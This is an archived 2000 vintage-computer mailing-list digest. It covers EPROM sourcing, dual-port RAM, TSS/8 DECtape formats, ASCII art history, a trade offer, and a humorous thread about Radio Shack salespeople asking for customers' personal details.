bit) parts. > Apparently these weren't popular enough to either make it into the > "mainstream" or into over stock :-(. > > Digi-key, Mouser, JameCo, Future-Active, Wyle, all came up empty. JDR's web > site claimed they had them but the order failed and said "call customer > service" :-0. FWIW, I've had this problem with JDR before too, and it was no big deal. Web site says they have the item, but the order fails for mysterious reasons. Called them by phone but got the night shift, evidently they're just sitting in front of web browsers, no better. Called during the day time, they had to put me on hold but eventually they convinced their system to take my order, and it arrived with no more trouble. So give it a shot... John Wilson D Bit From wilson at dbit.dbit.com Tue May 23 11:40:23 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:55 2005 Subject: Altair parts substitutions In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9154@MAIL10>; from RCini@congressfinancial.com on Tue, May 23, 2000 at 08:50:52AM -0400 References: <497A9E0467D2D2119B760090271EB8E50E9154@MAIL10> Message-ID: <20000523124023.B22900@dbit.dbit.com> On Tue, May 23, 2000 at 08:50:52AM -0400, Cini, Richard wrote: > This is what I meant exactly - no bi-directional data bus. I'm guessing that > there is a fine distinction between dual-ported and separate input and > output busses... Um, it's a *big* difference! Dual-ported means two separate ports that you can use at the same time. Separate in/out just means no need to disable the chip's drivers when writing to the memory. Faking separate I/O using bidir parts plus external buffers is easy. Faking DP using regular RAMs is a bigger deal, you need some kind of arbitration and something to generate mem cycle timing 2+ times as fast as the two busses that are attached. Still could be cheaper than truly dual-ported memory though, especially if you need something big but not too fast. John Wilson D Bit From CLASSICCMP at trailing-edge.com Tue May 23 11:44:00 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:55 2005 Subject: Vancouver, Cal's Computer Warehouse? Message-ID: <000523124400.20200574@trailing-edge.com> >Anybody up in Vancouver familiar with this place? > >They have a service manual for my NEC Silentwriter 2 model 90 on eBay right >now, but I am also curious about them in general. > >http://www.goseecal.com/ > >Cal's Computer Warehouse Inc. >3083 Grandview Hwy. >Vancouver, B.C., V5M 2E4 >Canada Kevin or some other Vancouverite may want to double-check the address, but I'm 99% sure this is the place that used to be called "Computer Warehouse" five or six blocks West of the Superstore on Grandview Hwy. Two years ago they had a fairly good selection of older PC-clone stuff, and some random other office equipment from around the area, but at generally pretty high prices. I mainly visited them when I needed networking cables and parts on a Sunday afternoon :-) I also got some working MFM drives from them, and numerous broken MFM drives! They had some moderately interesting stuff in their "museum" area, but generally just bits and pieces that had been ripped out; nothing resembling any sort of complete system. For a while, they did have a rather good selection of Apple II GS units and parts, judging by the burn-in on the CRT's they'd been used at a local video rental chain as point-of-sale terminals. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From lemay at cs.umn.edu Tue May 23 12:20:25 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:55 2005 Subject: ASCII pictures available Message-ID: <200005231720.MAA17356@caesar.cs.umn.edu> http://afterhours.lpmud.com/~james The tar file contains directories, which then contain files compressed with the unix 'compress' command. 'disk1' and 'disk2' contain the big multi-overprint files that came from an old magnetic tape i read back in the 80's on a Control Data mainframe. You will note that you can fit disk1 and disk2 onto 2 floppy disks, and that they also contain a DOS binary program for uncompressing the files, if you dont have unix access. the vt100 directory is just some old VT100 text animations, and the small ascii directory came from some ftp site over 10 years ago. -Lawrence LeMay From foo at siconic.com Tue May 23 11:28:52 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour In-Reply-To: <20000523.111414.-197469.0.jeff.kaneko@juno.com> Message-ID: On Tue, 23 May 2000, Jeffrey l Kaneko wrote: > How many of you are irritated by the personal questions > asked by Radio Shack salespeople when you go there to buy > parts for *your* classic computer? Annoying as hell. I just look the salesclerk in the face and say "Dude, I just want to buy a damn !" Works all the time (rudeness has its place). Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From cmcmanis at mcmanis.com Tue May 23 13:35:10 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour References: <20000523.111414.-197469.0.jeff.kaneko@juno.com> Message-ID: <392ACF5E.8B455A42@mcmanis.com> Jeffrey l Kaneko wrote: > How many of you are irritated by the personal questions > asked by Radio Shack You can always say, "I'm sorry I don't give out that information." --Chuck From healyzh at aracnet.com Tue May 23 13:42:17 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour In-Reply-To: <392ACF5E.8B455A42@mcmanis.com> References: <20000523.111414.-197469.0.jeff.kaneko@juno.com> Message-ID: >Jeffrey l Kaneko wrote: >> How many of you are irritated by the personal questions >> asked by Radio Shack > >You can always say, "I'm sorry I don't give out that information." >--Chuck Amazing how well that works at Radio Shack, and it doesn't raise anyones blood pressure. Though usually I use something along the lines of "You don't need that information." Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From wilson at dbit.dbit.com Tue May 23 13:49:52 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:55 2005 Subject: TSS/8 stuff on ftp.dbit.com Message-ID: <200005231849.OAA23455@dbit.dbit.com> I've just put a bunch of TSS/8 stuff at: ftp://ftp.dbit.com/pub/pdp8/tss8/ This is mostly a bunch of doodads I wrote when I had a TSS/8.24 system running briefly (from late 1983 when I bought it, to mid 1984 when the RS08 disk became too unreliable for the system to stay running), including an unfinished VT52 text editor and a pretty good start on a FORTH compiler. But also there's the source to the TSS/8.24 monitor itself, which I typed in from a borrowed listing (so some typos may have gotten through) and then lost on DECtape for many years. FYI in case anyone else ever needs this, TSS/8.24 DUMP tapes are really simple: The first and last blocks of each 1474-block DECtape are not used. Each 4 KW "track" (actually two tracks on an RS08) is stored as 32 (decimal) consecutive DECtape blocks, starting at block 1. Only the first 128 words of each block are used, and they're all recorded in the forwards direction. So up to 46. consecutive "tracks" fit on each DECtape, and you just concanate all the "tracks" from all the DECtapes in the set to get the disk. It starts at the very beginning of the disk, and even the swap tracks are saved. Anyway the ever-further-behind-schedule new version of my PUTR.COM utility for DOS will include at least read-only support for TSS/8.24 disk images (as long as they're similar to mine, i.e. SEGSIZ=256 and new enough to support the hack where filename extensions are added by encoding them in the high 5 bits of the protection code). It will read and write TSS/8 PUTR.SAV DECtapes too (which turn out to use the OS/8 file format, but with 11:1 interleave, TSS/8 style ASCII encoding, and the weird 5-bit filename extensions). Speaking of DECtape, does anyone know anything about PS/8 DECtapes? I have one image from David Gesswein which is supposed to be from PS/8, and it looks just like an OS/8 tape except that it uses only every other block for the first 256. OS/8 blocks on the tape. After that I can't figure out *where* things pick up again, I suspect some of the blocks may have been recorded backwards (like with TSS/8). Sound familiar to anyone? The tape has OMSI's hack of Edu-30 (?) BASIC on it and somewhere in there, there's a blurb about how proud they are of having sped things up on DECtape systems. So I suppose it's possible that this is just an OMSI-hacked DECtape driver and nothing to do with PS/8 at all. But then again maybe OMSI just changed how BASIC accesses the tape through the vanilla driver so it really is a PS/8 thing. Help!!! John Wilson D Bit From rich at alcor.concordia.ca Tue May 23 13:45:49 2000 From: rich at alcor.concordia.ca (Rich Lafferty) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour In-Reply-To: ; from healyzh@aracnet.com on Tue, May 23, 2000 at 11:42:17AM -0700 References: <20000523.111414.-197469.0.jeff.kaneko@juno.com> <392ACF5E.8B455A42@mcmanis.com> Message-ID: <20000523144549.B1090@alcor.concordia.ca> On Tue, May 23, 2000 at 11:42:17AM -0700, Zane H. Healy (healyzh@aracnet.com) wrote: > >Jeffrey l Kaneko wrote: > >> How many of you are irritated by the personal questions > >> asked by Radio Shack > > > >You can always say, "I'm sorry I don't give out that information." > > Amazing how well that works at Radio Shack, and it doesn't raise anyones > blood pressure. Though usually I use something along the lines of "You > don't need that information." One fun part about going to Radio Shack in Quebec is that the (Quebecois) salesdroids don't always catch English (American) obviously-fake names. Wrigley Field, for instance, should have received a catalog addressed to Elwood Blues by now. :-) -Rich -- ------------------------------ Rich Lafferty --------------------------- Sysadmin/Programmer, Instructional and Information Technology Services Concordia University, Montreal, QC (514) 848-7625 ------------------------- rich@alcor.concordia.ca ---------------------- From foo at siconic.com Tue May 23 12:45:37 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour In-Reply-To: <392ACF5E.8B455A42@mcmanis.com> Message-ID: On Tue, 23 May 2000, Chuck McManis wrote: > Jeffrey l Kaneko wrote: > > How many of you are irritated by the personal questions > > asked by Radio Shack > > You can always say, "I'm sorry I don't give out that information." On the same token, how many of you have gone to one of those computer superstores like CompuUSA or Fry's and felt totally indignant at having to have your bag checked and receipt highlighted with a marker for apparently no good reason? Well, I tired of that really quickly and now simply breeze through the exit (as it was intended) without even so much as acknowledging the poor idiot who has that job. The fact is, they cannot stop you and you have no obligation to stop. I haven't done any legal research but I'm sure "unlawful detention" comes into play here. I urge everyone who encounters one of these honorless systems to simply ignore them. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From jimw at agora.rdrop.com Tue May 23 13:46:19 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour In-Reply-To: <392ACF5E.8B455A42@mcmanis.com> Message-ID: On Tue, 23 May 2000, Chuck McManis wrote: > Jeffrey l Kaneko wrote: > > How many of you are irritated by the personal questions > > asked by Radio Shack How many are not? (shorter list) Altho, in a previous life we had come up with what we considered to be a reasonable solution for this irritant. Altho since they no longer hand write the tickets it really won't work these days... I worked in a service center about a 2 minute (round trip) walk from a Radio Shack, so we made frequent excursions over there to pick up parts that we needed in a hurry, but not in a quantity that made it worthwhile to order from our distributor. Of course, the five minute interrogation tended to negate the time saving (note I won't say 'convienence') factor, and the sales droids were annoyingly determined to extract the information... So one day, we had an 'X'-stamper (self inking rubber stamp) made with the companys address (P.O. Box - no phone number) on it, and the next time that we got the interrogative from the droid, the stamp came out of the pocket, and WHAM'ed across the top of the ticket pad with a flourish and a satifying whump. As the sales droid's eyes glazed over... he hands up the ticket and we depart a good 4.5 minutes sooner than usual... After about three rounds like this, they stopped asking and just slid the pad over the desk for the ceremonial whomping. See... proper use of technology CAN simplify life! At least for some... -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From foo at siconic.com Tue May 23 12:53:42 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:55 2005 Subject: Question about ASCII art Message-ID: I am making the assumption that most of these ASCII art files were scanned from actual pictures and then rendered by some software? If so, is this software still around??? And what hardware was used to scan them? Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From wilson at dbit.dbit.com Tue May 23 14:02:33 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour In-Reply-To: <392ACF5E.8B455A42@mcmanis.com>; from cmcmanis@mcmanis.com on Tue, May 23, 2000 at 11:35:10AM -0700 References: <20000523.111414.-197469.0.jeff.kaneko@juno.com> <392ACF5E.8B455A42@mcmanis.com> Message-ID: <20000523150233.A23510@dbit.dbit.com> On Tue, May 23, 2000 at 11:35:10AM -0700, Chuck McManis wrote: > Jeffrey l Kaneko wrote: > > How many of you are irritated by the personal questions > > asked by Radio Shack > > You can always say, "I'm sorry I don't give out that information." I always say "PLEASE don't put me in your database" and never have trouble (I guess the "please" throws them off), *IFF* I'm paying cash. Once in Bellevue WA, the !(*#^%^ behind the counter said "OK, I'll just read it off your credit card!" I made her promise not to put me on the mailing list but as you can imagine, the deluge started almost immediately. IIRC it took *three* irate phone calls to the regional HQ or whatever, to finally get them to stop sending me their junk mail. Probably misquoting Kramer on Seinfeld: "Why does Radio Shack need your phone number when you buy a battery? It's a mystery!" John Wilson D Bit From mrbill at mrbill.net Tue May 23 13:58:41 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour In-Reply-To: ; from foo@siconic.com on Tue, May 23, 2000 at 10:45:37AM -0700 References: <392ACF5E.8B455A42@mcmanis.com> Message-ID: <20000523135841.D18382@mrbill.net> On Tue, May 23, 2000 at 10:45:37AM -0700, Vintage Computer GAWD! wrote: > On the same token, how many of you have gone to one of those computer > superstores like CompuUSA or Fry's and felt totally indignant at having to > have your bag checked and receipt highlighted with a marker for apparently > no good reason? > Well, I tired of that really quickly and now simply breeze through the > exit (as it was intended) without even so much as acknowledging the poor > idiot who has that job. The fact is, they cannot stop you and you have no > obligation to stop. I haven't done any legal research but I'm sure > "unlawful detention" comes into play here. > I urge everyone who encounters one of these honorless systems to simply > ignore them. There was a big debate about the local CompUSA doing that recently, so a bunch of people from the austin.general newsgroup all went (about 20 of them), bought something simple like a mousepad, and then all walked out without letting the guy look at their receipt. 8-) Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From foo at siconic.com Tue May 23 13:03:04 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour In-Reply-To: Message-ID: On Tue, 23 May 2000, James Willing wrote: > So one day, we had an 'X'-stamper (self inking rubber stamp) made with the > companys address (P.O. Box - no phone number) on it, and the next time > that we got the interrogative from the droid, the stamp came out of the > pocket, and WHAM'ed across the top of the ticket pad with a flourish and a > satifying whump. A more effective measure would have been to stamp the sales droid's forehead ;) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From jbmcb at hotmail.com Tue May 23 14:31:22 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:52:55 2005 Subject: Question about ASCII art References: Message-ID: <20000523192628.3345.qmail@hotmail.com> There's a library and a bunch of apps for *nix called aalib, look for it on freshmeat or icewalkers, or at a sunsite mirror. On faster machines it can render stuff realtime, there's a demo that fills your screen with real-time-rendered ascii fire. The *nix X-Windows rendering appy XaoS can render fractals in ascii using aalib as well. ----- Original Message ----- From: "Vintage Computer GAWD!" To: Sent: Tuesday, May 23, 2000 1:53 PM Subject: Question about ASCII art > > I am making the assumption that most of these ASCII art files were scanned > from actual pictures and then rendered by some software? > > If so, is this software still around??? And what hardware was used to > scan them? > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > > From donm at cts.com Tue May 23 14:32:41 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:55 2005 Subject: good new/bad news on the VLC firmware In-Reply-To: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> Message-ID: On Tue, 23 May 2000, Chuck McManis wrote: > The good news is that I took apart my VLC, pulled out the two EPROMs > holding the firmware and successfully read them out and saved them to a > file on disk. > > The bad news is that the EPROMs are 27210's (64K X 16 bit) parts. > Apparently these weren't popular enough to either make it into the > "mainstream" or into over stock :-(. > > Digi-key, Mouser, JameCo, Future-Active, Wyle, all came up empty. JDR's web > site claimed they had them but the order failed and said "call customer > service" :-0. > > So there you go, a "valuable" IC for those with VLC's. You might check with ACP in the LA area. They have been known to have some odd ones now and then. - don > --Chuck > > From lemay at cs.umn.edu Tue May 23 14:50:11 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:55 2005 Subject: Question about ASCII art In-Reply-To: <20000523192628.3345.qmail@hotmail.com> from Jason McBrien at "May 23, 2000 03:31:22 pm" Message-ID: <200005231950.OAA17740@caesar.cs.umn.edu> The pbmplus package on unix systems used to have a program for converting raster images to ascii art. you should still be able to serach for it on the web. Possibly netpbm might also have it. Those images I put on the web site were scannen in back in the 60's/70's or so, and who knows how the guys at princeton did it.. probably used a video camera or something. -Lawrence LeMay > There's a library and a bunch of apps for *nix called aalib, look for it on > freshmeat or icewalkers, or at a sunsite mirror. On faster machines it can > render stuff realtime, there's a demo that fills your screen with > real-time-rendered ascii fire. The *nix X-Windows rendering appy XaoS can > render fractals in ascii using aalib as well. > > ----- Original Message ----- > From: "Vintage Computer GAWD!" > To: > Sent: Tuesday, May 23, 2000 1:53 PM > Subject: Question about ASCII art > > > > > > I am making the assumption that most of these ASCII art files were scanned > > from actual pictures and then rendered by some software? > > > > If so, is this software still around??? And what hardware was used to > > scan them? > > > > Sellam International Man of Intrigue and > Danger > > -------------------------------------------------------------------------- > ----- > > Looking for a six in a pile of nines... > > > > Coming soon: VCF 4.0! > > VCF East: Planning in Progress > > See http://www.vintage.org for details! > > > > > > > From cmcmanis at mcmanis.com Tue May 23 15:05:12 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:55 2005 Subject: Calling John Lawson References: Message-ID: <392AE478.851D9EE5@mcmanis.com> Sorry for the broadcast, John if you're reading this could you please call Chuck McManis at (408) 617-1005 ? Thanks! --Chuck From jimw at agora.rdrop.com Tue May 23 14:56:11 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour In-Reply-To: Message-ID: On Tue, 23 May 2000, Vintage Computer GAWD! wrote: > On Tue, 23 May 2000, James Willing wrote: > > > So one day, we had an 'X'-stamper (self inking rubber stamp) made with the > > companys address (P.O. Box - no phone number) on it, and the next time > > that we got the interrogative from the droid, the stamp came out of the > > pocket, and WHAM'ed across the top of the ticket pad with a flourish and a > > satifying whump. > > A more effective measure would have been to stamp the sales droid's > forehead ;) No foreheads... But I do recall getting a hand or two when they did move out of the way quickly enough. B^} -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From lemay at cs.umn.edu Tue May 23 14:57:16 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:55 2005 Subject: Question about ASCII art In-Reply-To: from Vintage Computer GAWD! at "May 23, 2000 10:53:42 am" Message-ID: <200005231957.OAA17751@caesar.cs.umn.edu> > > I am making the assumption that most of these ASCII art files were scanned > from actual pictures and then rendered by some software? > > If so, is this software still around??? Actually, the technique is fairly simple to program. It was actually used in Geography/map-making programs, as a way of printing out maps. I used to use a geographic information System that could print out the resulting geographical answers using various overstrikes to generate a greyscale map on normal 9 pin dot matrix printers. And I've seen the output of many other such programs while I was working on a second BS in geography. I probably still have some geography books that have examples of those maps for illustrative purposes. -Lawrence LeMay From jimw at agora.rdrop.com Tue May 23 15:09:35 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:55 2005 Subject: Question about ASCII art In-Reply-To: Message-ID: On Tue, 23 May 2000, Vintage Computer GAWD! wrote: > I am making the assumption that most of these ASCII art files were scanned > from actual pictures and then rendered by some software? > > If so, is this software still around??? And what hardware was used to > scan them? Well... I don't know about the 'official' methods (if there ever were such a thing), but one that I witnessed some many years ago over at Tektronix involved a large flat-bed plotter with a lamp/photocell combination mounted in a plotter-pen casing which was scanned across the target original in a 'raster-scan' mode. (left to right, return to left margin, drop down a specified distance, repeat) IIRC values from 0 to 64 (or was it 32?) were read from the photocell via a D/A circuit, and print lines were generated from a table of overprinted characters based on the values. Once upon a time, (and perhaps still buried in the archive somewhere) I had a copy of the character reference chart which showed the value, the final printed character cell, and the characters which made it up. (in the order that they should be printed... The source of many lively debates!) Spew forth into a print (text) file, load up some boxes of paper and a fresh ribbon, and yer off! -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From healyzh at aracnet.com Tue May 23 15:30:11 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour In-Reply-To: <20000523135841.D18382@mrbill.net> from "Bill Bradford" at May 23, 2000 01:58:41 PM Message-ID: <200005232030.NAA06353@shell1.aracnet.com> On Tue, May 23, 2000 at 10:45:37AM -0700, Vintage Computer GAWD! wrote: > On the same token, how many of you have gone to one of those computer > superstores like CompuUSA or Fry's and felt totally indignant at having to > have your bag checked and receipt highlighted with a marker for apparently > no good reason? Actually from what I understand there is a good reason. Namely they don't trust thier own employees! Supposedly they're checking to make sure that the cashiers charged you for everything you got. However, considering how much I've dropped in both stores I've got to agree. It totally pisses me off! Zane From mikeford at socal.rr.com Tue May 23 15:55:24 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour In-Reply-To: <200005232030.NAA06353@shell1.aracnet.com> References: <20000523135841.D18382@mrbill.net> from "Bill Bradford" at May 23, 2000 01:58:41 PM Message-ID: >On Tue, May 23, 2000 at 10:45:37AM -0700, Vintage Computer GAWD! wrote: >> On the same token, how many of you have gone to one of those computer >> superstores like CompuUSA or Fry's and felt totally indignant at having to >> have your bag checked and receipt highlighted with a marker for apparently >> no good reason? > >Actually from what I understand there is a good reason. Namely they don't >trust thier own employees! Supposedly they're checking to make sure that >the cashiers charged you for everything you got. Try and get a refund if the receipt doesn't have the line on it. What I think is fun at Rat Shack is to tell them VERY seriously that your name is Zool or Bozo, 1122 Boogie Boogie Ave, Clowntown, Nebraska. OTOH if they ask for your zip, hand them a zip cartridge. IF they ask for phone number, give them the part number of a phone. IF they ask for address, 213.23.187.12 From rutledge at cx47646-a.phnx1.az.home.com Tue May 23 16:21:54 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:52:55 2005 Subject: Radio Shack Humour In-Reply-To: <200005232030.NAA06353@shell1.aracnet.com>; from healyzh@aracnet.com on Tue, May 23, 2000 at 01:30:11PM -0700 References: <20000523135841.D18382@mrbill.net> <200005232030.NAA06353@shell1.aracnet.com> Message-ID: <20000523142153.B8235@electron.quantum.int> On Tue, May 23, 2000 at 01:30:11PM -0700, healyzh@aracnet.com wrote: > However, considering how much I've dropped in both stores I've got to agree. > It totally pisses me off! Nearly everything about the Fry's checkout process sucks. If you go to buy computer parts like memory or a hard drive, they have long forms onscreen to fill out (including name, address etc, but usually they skip that part). Then they _print_ the form. (This is a computer store, haven't they heard of a network?) Last time I had to wait several minutes because the printer kept jamning. So then you walk up front and wait in another long line. Wait for somebody to hold up a sign. So low-tech. (I'm sure they must have fun telling new cashiers, "here's your sign". It would certainly be appropriate.) Half the barcodes don't scan. They used to use these old fashioned light-pen type scanners but at least the last time, they'd finally upgraded to the pistol-grip autoscanning kind. Then the cashier disappears for several minutes to get your stuff from the cage. He or she finally reappears, and after adequate payment hassle, you wait while the receipt printer (which has done nothing in advance of this moment) prints out two feet of paper, slowly, one line at a time. Then you go wait in line again at the exit. And get home to find out your product was already returned once and is missing something or doesn't work. So you can go stand in line again and shuttle more paper back and forth and be trapped into buying from them again because they will only give you store credit because you lost the receipt. What I would like to see instead, despite the cries of "Big Brother" from so many people, is a smart card or iButton that has the memory of who you are and all the ID numbers for all the various stores at which you shop. You use it when checking out like all the grocery stores are doing with the "[euphemism to make you feel appreciated] Card"s, but you use the same one everywhere. Encryption would be involved (the Java-iButton from Dallas Semiconductor would be perfect for this) so that each store can only get from your device the information that they put on it in the first place, as well as a little bit of "public" info like name and phone number. Somebody could make a killing selling POS systems to do that. But I guess the customer's convenience is really the last thing on their minds. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From eric at brouhaha.com Tue May 23 16:45:08 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:55 2005 Subject: Altair parts substitutions In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9154@MAIL10> (RCini@congressfinancial.com) References: <497A9E0467D2D2119B760090271EB8E50E9154@MAIL10> Message-ID: <20000523214508.23716.qmail@brouhaha.com> > This is what I meant exactly - no bi-directional data bus. I'm guessing that > there is a fine distinction between dual-ported and separate input and > output busses... Specifically, a true dual-ported RAM chip has separate address busses and control signals/strobes (*RD and *WR, or *CS and R/*W, or the like) for each port. Dual-port RAM chips tend to be expensive and not very high-density, so they aren't commonly found in commodity computer hardware. It's usually more cost-effective to time-multiplex a single port. Current manufacturers of dual-port RAM chips include Cypress and IDT. There are even some quad-port RAM chips now. From ard at p850ug1.demon.co.uk Tue May 23 13:42:43 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:56 2005 Subject: When new advertising meets old computers In-Reply-To: <200005230034.RAA27201@eskimo.com> from "Derek Peschel" at May 22, 0 05:34:04 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1282 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000523/b94919ae/attachment-0001.ksh From ard at p850ug1.demon.co.uk Tue May 23 13:45:38 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:56 2005 Subject: Altair parts substitutions In-Reply-To: <000901bfc453$3768adc0$0400c0a8@winbook> from "Richard Erlacher" at May 22, 0 07:06:51 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 815 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000523/73048bd8/attachment-0001.ksh From ard at p850ug1.demon.co.uk Tue May 23 13:35:54 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:56 2005 Subject: Altair parts substitutions In-Reply-To: <006801bfc44c$9e3475e0$7164c0d0@ajp166> from "allisonp" at May 22, 0 06:22:21 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 765 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000523/b82d1568/attachment-0001.ksh From ard at p850ug1.demon.co.uk Tue May 23 13:38:33 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:56 2005 Subject: Altair parts substitutions In-Reply-To: <006901bfc44c$9f029b50$7164c0d0@ajp166> from "allisonp" at May 22, 0 06:33:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 928 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000523/f3b99812/attachment-0001.ksh From eric at brouhaha.com Tue May 23 17:01:47 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:56 2005 Subject: Radio Shack Humour In-Reply-To: (healyzh@aracnet.com) References: <20000523.111414.-197469.0.jeff.kaneko@juno.com> Message-ID: <20000523220147.23828.qmail@brouhaha.com> Zane wrote: > Though usually I use something along the lines of "You > don't need that information." I've sometimes gotten arguments over that. Maybe you have more midiclorians (sp?) than I? :-) From healyzh at aracnet.com Tue May 23 17:13:36 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:56 2005 Subject: Radio Shack Humour In-Reply-To: <20000523142153.B8235@electron.quantum.int> from "Shawn T. Rutledge" at May 23, 2000 02:21:54 PM Message-ID: <200005232213.PAA21784@shell1.aracnet.com> Shawn T. Rutledge wrote: > Nearly everything about the Fry's checkout process sucks. If you go > to buy computer parts like memory or a hard drive, they have long forms > onscreen to fill out (including name, address etc, but usually they skip > that part). Then they _print_ the form. (This is a computer store, > haven't they heard of a network?) Last time I had to wait several minutes Face it, they're as *low tech* as you can get and still set electronics! Zane From ckaiser at oa.ptloma.edu Tue May 23 17:32:50 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:52:56 2005 Subject: Trade bait Message-ID: <200005232232.PAA06562@oa.ptloma.edu> I have a few items I'm interested in trading. These are mostly collector's pieces but might be useful to others also. A Muppet Learning Keys unit for the C64 (and probably Atari). I don't have the software, but it seems to operate (I spied on the joystick lines and saw that it does send signals). Designed by the same guys who did the Koala Pad. It's basically a "kid-proof" modified membrane keyboard that connects to the joyport. A Laser 50 "personal computer" (looks like a Tandy Pocket Computer on steroids). It used to work, but a(n ex- :-)friend of mine decided he would take it apart and didn't put it back together properly. It might be repairable, but I haven't tried. Complete with box and manual, in original packaging. Call it a fixer-upper. COMPUTE!'s First Book of the Commodore 64. Spiral-bound. Includes lots of interesting sample programs. Great if you want to get a fast, instant introduction to the C64. I also have a few other C64 software items, mostly games. I'm always interested in Commodore 8-bit "stuff", and am also looking for Atari 8-bit (not 2600/5200/7800) cartridges. However, I am *particularly* interested in Model 100 or NEC 8201A RAM, and getting another Timex/Sinclair 1000 since the last one I got seemed to be DOA and I could not revive it (but I have a crapload of TS1000 software and a 16K RAM expansion waiting for it). I have the manual and all the accessories, and can probably scare up a power supply; I just need the computer itself. Sorry, not interested in cash. :-) I'm in San Bernardino, and will be for the next few weeks. Please reply off-list to ckaiser@ptloma.edu. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene 